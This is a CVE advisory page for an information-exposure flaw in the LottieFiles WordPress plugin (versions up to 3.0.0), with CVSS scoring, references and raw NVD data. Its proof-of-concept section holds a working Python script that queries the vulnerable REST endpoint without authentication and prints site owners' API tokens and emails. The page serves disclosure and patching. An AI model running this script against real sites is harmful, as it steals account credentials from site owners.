Security Vulnerability Report
中文
CVE-2026-0717 CVSS 5.3 MEDIUM

CVE-2026-0717

Published: 2026-01-14 06:15:56
Last Modified: 2026-04-15 00:35:42

Description

The LottieFiles – Lottie block for Gutenberg plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 3.0.0 via the `/wp-json/lottiefiles/v1/settings/` REST API endpoint. This makes it possible for unauthenticated attackers to retrieve the site owner's LottieFiles.com account credentials including their API access token and email address when the 'Share LottieFiles account with other WordPress users' option is enabled.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

LottieFiles WordPress Plugin <= 3.0.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2026-0717 PoC - LottieFiles WordPress Plugin Sensitive Information Exposure # Target: WordPress site with LottieFiles plugin <= 3.0.0 # Endpoint: /wp-json/lottiefiles/v1/settings/ target_url = "http://target-wordpress-site.com" endpoint = "/wp-json/lottiefiles/v1/settings/" full_url = target_url + endpoint def exploit_cve_2026_0717(): """ Exploit for CVE-2026-0717 This vulnerability allows unauthenticated attackers to retrieve LottieFiles.com account credentials from the WordPress plugin. """ print(f"[*] Targeting: {full_url}") print(f"[*] Exploiting CVE-2026-0717...") # Send unauthenticated GET request to the vulnerable endpoint headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Content-Type': 'application/json' } try: response = requests.get(full_url, headers=headers, timeout=10) if response.status_code == 200: data = response.json() print(f"[+] Success! Retrieved sensitive information:") print(json.dumps(data, indent=2)) # Extract credentials if present if 'api_token' in data or 'token' in data: api_token = data.get('api_token') or data.get('token') email = data.get('email') or data.get('user_email') print(f"\n[+] API Token: {api_token}") print(f"[+] Email: {email}") return True else: print(f"[-] Failed with status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": exploit_cve_2026_0717()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-0717", "sourceIdentifier": "[email protected]", "published": "2026-01-14T06:15:55.670", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The LottieFiles – Lottie block for Gutenberg plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 3.0.0 via the `/wp-json/lottiefiles/v1/settings/` REST API endpoint. This makes it possible for unauthenticated attackers to retrieve the site owner's LottieFiles.com account credentials including their API access token and email address when the 'Share LottieFiles account with other WordPress users' option is enabled."}, {"lang": "es", "value": "El plugin LottieFiles – Lottie block para Gutenberg para WordPress es vulnerable a la exposición de información sensible en todas las versiones hasta la 3.0.0, inclusive, a través del endpoint de la API REST `/wp-json/lottiefiles/v1/settings/`. Esto permite a atacantes no autenticados recuperar las credenciales de la cuenta de LottieFiles.com del propietario del sitio, incluyendo su token de acceso a la API y dirección de correo electrónico, cuando la opción 'Compartir cuenta de LottieFiles con otros usuarios de WordPress' está habilitada."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/lottiefiles/tags/3.0.0/src/common.php?marks=21,122#L21", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3442469/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/19b159ca-4b41-48b4-880d-9b9dc44b3463?source=cve", "source": "[email protected]"}]}}